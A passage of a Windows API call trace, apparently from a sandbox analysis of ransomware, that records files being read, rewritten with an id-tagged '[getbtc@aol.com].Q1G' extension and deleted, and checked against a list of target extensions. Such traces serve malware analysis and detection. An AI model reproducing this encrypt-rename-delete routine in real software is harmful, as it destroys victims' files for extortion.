liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.463] GetLastError () returned 0x0 [0265.463] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x11b6, lpOverlapped=0x0) returned 1 [0265.705] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0265.706] ReadFile (in: hFile=0x3d8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.706] WriteFile (in: hFile=0x1bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.706] SetEndOfFile (hFile=0x1bc) returned 1 [0265.714] CloseHandle (hObject=0x1bc) returned 1 [0265.714] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.714] SetEndOfFile (hFile=0x3d8) returned 1 [0265.716] CloseHandle (hObject=0x3d8) returned 1 [0265.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0265.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.727] lstrlenW (lpString=".doc") returned 4 [0265.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.727] lstrlenW (lpString=".docx") returned 5 [0265.727] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.727] lstrlenW (lpString=".pdf") returned 4 [0265.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.727] lstrlenW (lpString=".xls") returned 4 [0265.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.727] lstrlenW (lpString=".xlsx") returned 5 [0265.727] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.727] lstrlenW (lpString=".ppt") returned 4 [0265.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.727] lstrlenW (lpString=".zip") returned 4 [0265.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.727] lstrlenW (lpString=".rar") returned 4 [0265.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.727] lstrlenW (lpString=".bz2") returned 4 [0265.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString=".7z") returned 3 [0265.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".dbf") returned 4 [0265.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".1cd") returned 4 [0265.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".jpg") returned 4 [0265.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".doc") returned 4 [0265.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString=".docx") returned 5 [0265.728] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.728] lstrlenW (lpString=".pdf") returned 4 [0265.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString=".xls") returned 4 [0265.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.728] lstrlenW (lpString=".xlsx") returned 5 [0265.728] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.728] lstrlenW (lpString=".ppt") returned 4 [0265.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".zip") returned 4 [0265.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.728] lstrlenW (lpString=".rar") returned 4 [0265.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString=".bz2") returned 4 [0265.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.728] lstrlenW (lpString=".7z") returned 3 [0265.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.728] lstrlenW (lpString=".dbf") returned 4 [0265.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.729] lstrlenW (lpString=".1cd") returned 4 [0265.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0265.729] lstrlenW (lpString=".jpg") returned 4 [0265.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.729] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.729] lstrlenW (lpString="J0196110.WMF") returned 12 [0265.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.730] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5326) returned 1 [0265.730] CloseHandle (hObject=0x3e0) returned 1 [0265.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 0x20 [0265.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.731] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.731] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.732] GetLastError () returned 0x0 [0265.732] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x14ce, lpOverlapped=0x0) returned 1 [0265.733] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0265.734] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.734] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.734] SetEndOfFile (hFile=0x39c) returned 1 [0265.735] CloseHandle (hObject=0x39c) returned 1 [0265.735] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.735] SetEndOfFile (hFile=0x3e0) returned 1 [0265.737] CloseHandle (hObject=0x3e0) returned 1 [0265.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString=".doc") returned 4 [0265.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString=".docx") returned 5 [0265.738] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.738] lstrlenW (lpString=".pdf") returned 4 [0265.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString=".xls") returned 4 [0265.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.738] lstrlenW (lpString=".xlsx") returned 5 [0265.738] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.738] lstrlenW (lpString=".ppt") returned 4 [0265.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString=".zip") returned 4 [0265.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.738] lstrlenW (lpString=".rar") returned 4 [0265.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString=".bz2") returned 4 [0265.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString=".7z") returned 3 [0265.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString=".dbf") returned 4 [0265.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString=".1cd") returned 4 [0265.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.738] lstrlenW (lpString=".jpg") returned 4 [0265.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString=".doc") returned 4 [0265.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString=".docx") returned 5 [0265.739] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.739] lstrlenW (lpString=".pdf") returned 4 [0265.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString=".xls") returned 4 [0265.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.739] lstrlenW (lpString=".xlsx") returned 5 [0265.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.739] lstrlenW (lpString=".ppt") returned 4 [0265.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString=".zip") returned 4 [0265.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.739] lstrlenW (lpString=".rar") returned 4 [0265.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString=".bz2") returned 4 [0265.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString=".7z") returned 3 [0265.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString=".dbf") returned 4 [0265.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString=".1cd") returned 4 [0265.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF") returned 63 [0265.739] lstrlenW (lpString=".jpg") returned 4 [0265.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.739] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.740] lstrlenW (lpString="J0196142.WMF") returned 12 [0265.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.740] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3826) returned 1 [0265.740] CloseHandle (hObject=0x3e0) returned 1 [0265.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 0x20 [0265.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.741] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.741] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.741] GetLastError () returned 0x0 [0265.741] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xef2, lpOverlapped=0x0) returned 1 [0265.743] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xf00, lpOverlapped=0x0) returned 1 [0265.744] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.744] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.744] SetEndOfFile (hFile=0x39c) returned 1 [0265.744] CloseHandle (hObject=0x39c) returned 1 [0265.744] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.744] SetEndOfFile (hFile=0x3e0) returned 1 [0265.746] CloseHandle (hObject=0x3e0) returned 1 [0265.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".doc") returned 4 [0265.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString=".docx") returned 5 [0265.747] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.747] lstrlenW (lpString=".pdf") returned 4 [0265.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString=".xls") returned 4 [0265.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.747] lstrlenW (lpString=".xlsx") returned 5 [0265.747] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.747] lstrlenW (lpString=".ppt") returned 4 [0265.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".zip") returned 4 [0265.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.747] lstrlenW (lpString=".rar") returned 4 [0265.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString=".bz2") returned 4 [0265.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString=".7z") returned 3 [0265.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".dbf") returned 4 [0265.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".1cd") returned 4 [0265.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".jpg") returned 4 [0265.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.747] lstrlenW (lpString=".doc") returned 4 [0265.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString=".docx") returned 5 [0265.748] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0265.748] lstrlenW (lpString=".pdf") returned 4 [0265.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString=".xls") returned 4 [0265.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.748] lstrlenW (lpString=".xlsx") returned 5 [0265.748] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0265.748] lstrlenW (lpString=".ppt") returned 4 [0265.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.748] lstrlenW (lpString=".zip") returned 4 [0265.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.748] lstrlenW (lpString=".rar") returned 4 [0265.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString=".bz2") returned 4 [0265.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString=".7z") returned 3 [0265.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.748] lstrlenW (lpString=".dbf") returned 4 [0265.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.748] lstrlenW (lpString=".1cd") returned 4 [0265.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0265.748] lstrlenW (lpString=".jpg") returned 4 [0265.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.748] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.748] lstrlenW (lpString="J0196354.WMF") returned 12 [0265.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.749] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=13702) returned 1 [0265.749] CloseHandle (hObject=0x3e0) returned 1 [0265.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 0x20 [0265.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.749] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.749] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.750] GetLastError () returned 0x0 [0265.750] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 